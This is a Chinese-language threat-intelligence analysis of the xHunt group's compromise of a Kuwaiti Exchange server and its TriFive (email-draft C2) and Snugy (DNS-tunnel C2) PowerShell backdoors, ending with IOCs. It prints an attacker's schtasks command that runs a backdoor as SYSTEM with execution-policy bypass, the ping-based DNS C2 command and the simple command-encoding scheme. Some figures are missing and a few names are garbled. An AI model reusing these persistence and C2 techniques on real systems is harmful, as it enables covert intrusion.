xHunt活动从2018年7月份一直活跃至今,这个组织的主要目标针对的是科威特政府和航运运输组织。近期研究人员发现,xHunt的攻击者又攻击了科威特一家机构的Microsoft Exchange服务器。虽然我们无法确认攻击者是如何入侵这台Exchange服务器的,但是根据此次事件相关的计划任务创建时间戳,我们发现攻击者早在2019年8月22日之前就已经能够访问这台Exchange服务器了。在此活动中,攻击者使用了两个后门,一个是TriFive,另一个是Snugy的变种版本(这是一个Web Shell,我们称之为BumbleBee)。
TriFive和Snugy后门本质上是PowerShell脚本,可以帮助攻击者访问被入侵的Exchange服务器,并使用不同的C2信道来进行通信。TriFive后门使用的是一个基于电子邮件的信道,这个信道可以使用Exchange Web服务(EWS)在被入侵的电子邮件帐号的已删除邮件夹中创建邮件草稿。Snugy后门则使用的是DNS隧道来实现命令控制。
具体分析请大家继续阅读下文。
在2020年9月份,我们发现xHunt攻击者入侵了科威特的一家机构组织。该组织的Exchange服务器上出现了通过IIS进程w3wp.exe执行可以命令的行为。攻击者在发送这些命令时,使用的是一个被称为BumbleBee的Web Shell,它已经被安装在了受感染的Exchange服务器。我们在分析服务器日志时,发现了两个由攻击者创建的计划任务,这两个任务都会运行恶意的PowerShell脚本。我们现在还无法确定攻击者是否使用了这些PowerShell脚本中的任何一个来安装webshell,但是我们相信攻击者在日志记录事件之前就已经访问过这台Exchange服务器了。
攻击者在这台Exchange服务器上创建了两个任务,即ResolutionHosts和ResolutionHosts,这两个任务都是在c:\Windows\System32\tasks\Microsoft\Windows\WDI文件夹中创建的。默认情况下,该文件夹在Windows系统上还存储一个合法的ResolutionHost任务,具体如下图所示。合法的ResolutionHost任务与Windows诊断基础结构(WDI)解析主机关联,它主要用于为系统上出现的问题提供交互式故障排除。我们认为,攻击者选择这个任务名称主要是为了隐藏自己的攻击活动。
在2019年8月28日和2019年10月22日,攻击者创建了ResolutionHosts和ResolutionHosts任务,以运行两个独立的基于PowerShell的后门。攻击者使用这两个调度任务作为持久性方法,因为计划任务会反复运行这两个PowerShell脚本,不过运行的时间间隔不同。下图显示的是这两个任务及其相关的创建时间、运行间隔和执行的命令。这两个任务执行的命令将尝试运行splwow64.ps1和OfficeIntegrator.ps1,分别是我们称之为TriFive的后门和CASHY200的变种(我们称之为Snugy)。这些脚本存储在系统上的两个单独的文件夹中,这很可能是为了避免两个后门都被发现和删除。
上图还显示,TriFive后门每5分钟运行一次,而Snugy后门每30分钟运行一次。我们无法确认间隔时间差异背后的确切原因,但可能与后门相关的C2通道的隐蔽性有关。比如说,Snugy使用DNS隧道作为C2信道,因此它的间隔可能比TriFive长,与TriFive使用的基于电子邮件的C2信道相比,Snugy使用的是一个更加明显的C2信道,因此被检测到的可能性更高。
我们现在还无法确认攻击者是如何创建ResolutionHosts和ResolutionHosts任务的。但是,我们知道攻击者在其他系统上安装Snugy样本时,攻击者使用的是批处理脚本来创建名为SystemDataProvider和CacheTask的计划任务。比如说,下面的批处理脚本将创建并运行名为SystemDataProvider的计划任务,并最终运行名为xpsrchvw.ps1的Snugy样本:
schtasks /create /sc MINUTE /mo 5 /tn “\Microsoft\Windows\SideShow\SystemDataProvider” /tr “powershell -exec bypass -file C:\Windows\Temp\xpsrchvw.ps1” /ru SYSTEM & schtasks /run /tn “\Microsoft\Windows\SideShow\SystemDataProvider”
TriFive后门
TriFive是一个以前从未被发现过的PowerShell后门,xHunt的攻击者会在受感染的Exchange服务器上安装这个后门,并通过一个计划任务每五分钟执行一次。TriFive通过登录合法用户的收件箱并从“已删除邮件”文件夹中的电子邮件草稿中获取PowerShell脚本,从而提供了对Exchange服务器的持久化后门访问。TriFive样本使用了目标组织的合法帐户名和凭据,这也表明在安装TriFive后门之前,攻击者已成功窃取了目标的账户凭证。
事实上,基于电子邮件的C2也在Hisoka工具中使用过,虽然Hisoka工具使用电子邮件草稿发送和接收数据,但这些草稿仍保留在草稿文件夹中,而TriFive后门则专门将其电子邮件草稿保存到“已删除邮件”文件夹中。
为了向后门发出命令,攻击者需要登录到同一个合法的电子邮件帐户并创建一个主题为555的电子邮件草稿,其中就包括了加密和Base64编码格式的命令。下图显示的一封包含演示命令的邮件,主题为555,邮件内容为woFyeWt3cw==,该脚本将通过PowerShell执行:
为了运行攻击者提供的命令,PowerShell脚本需要登录到Exchange服务器上的合法电子邮件帐户,并检查“已删除邮件”文件夹中主题为555的电子邮件。脚本将打开电子邮件草稿,并使用Base64解码电子邮件消息正文中的内容,然后通过从每个字符中减去10来解密解码命令内容。然后,脚本会使用PowerShell的内置Invoke Expression(iex)cmdlet来生成明文内容。在执行提供的PowerShell代码之后,脚本将对结果进行加密,方法是在每个字符上加10,并对密文进行Base64编码。接下来,TriFive会将命令结果发送给攻击者,并将编码的密文设置为电子邮件草稿的消息体,它将保存在主题为555的“已删除邮件”文件夹中。下图显示了TriFive脚本创建的“已删除邮件”文件夹中的一个电子邮件草稿样例,它会将命令的运行结果以主题为555,消息内容为“bQB5AHgAfgB5AH0AeQBmAGsAbgB3AHMAeABzAH0AfgB8AGsAfgB5AHwA”的邮件进行发送。
TriFive PowerShell脚本并不是通过代码循环来实现持久化运行的,而是通过前面提到的ResolutionsHosts调度任务来实现其持久化操作。
我们在ResolutionHosts任务中看到的OfficeIntegrator.ps1文件是一个基于PowerShell的后门,我们将其称之为Snugy,它将允许攻击者获取目标系统的主机名并执行命令。Snugy是CASHY200后门的一个变种版本,攻击者也曾在之前的xHunt活动中使用过这个后门。在2019年7月,趋势科技曾为这个后门创建过检测签名-Backdoor.PS1.NETERO.A,这也表明CASHY200的这个特殊变种已经存在一年多了。
Snugy样本会随机选择下列域名来作为其C2域名:
hotsoft[.]icu
uplearn[.]top
lidarcc[.]icu
deman1[.]icu
跟CASHY200后门的早期变种版本类似,Snugy变种将使用下列命令来跟自定义域名连接,并尝试在将ICMP请求发送到解析IP地址之前解析该域:
cmd /c ping -n 1 <custom crafted sub-domain>.<C2 domain>
Snugy将使用下列正则表达式来从ping命令的结果中提取出IP地址:
\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b
下面给出的是Snugy后门的命令处理服务器:
Snugy创建的子域名包含一个通信类型字段,该字段定义了数据字段中元素的顺序,下面给出是C2域名结构:
<character for communication type><character for order of fields in data section><data section>.<C2 domain>
407e5fe4f6977dd27bc0050b2ee8f04b398e9bd28edd9d4604b782a945f8120f
c18985a949cada3b41919c2da274e0ffa6e2c8c9fb45bade55c1e3b6ee9e1393 6c13084f213416089beec7d49f0ef40fea3d28207047385dda4599517b56e127 efaa5a87afbb18fc63dbf4527ca34b6d376f14414aa1e7eb962485c45bf38372 a4a0ec94dd681c030d66e879ff475ca76668acc46545bbaff49b20e17683f99c
deman1[.]icu hotsoft[.]icu uplearn[.]top lidarcc[.]icu sharepoint-web[.]com
ResolutionHosts ResolutionsHosts SystemDataProvider CacheTask-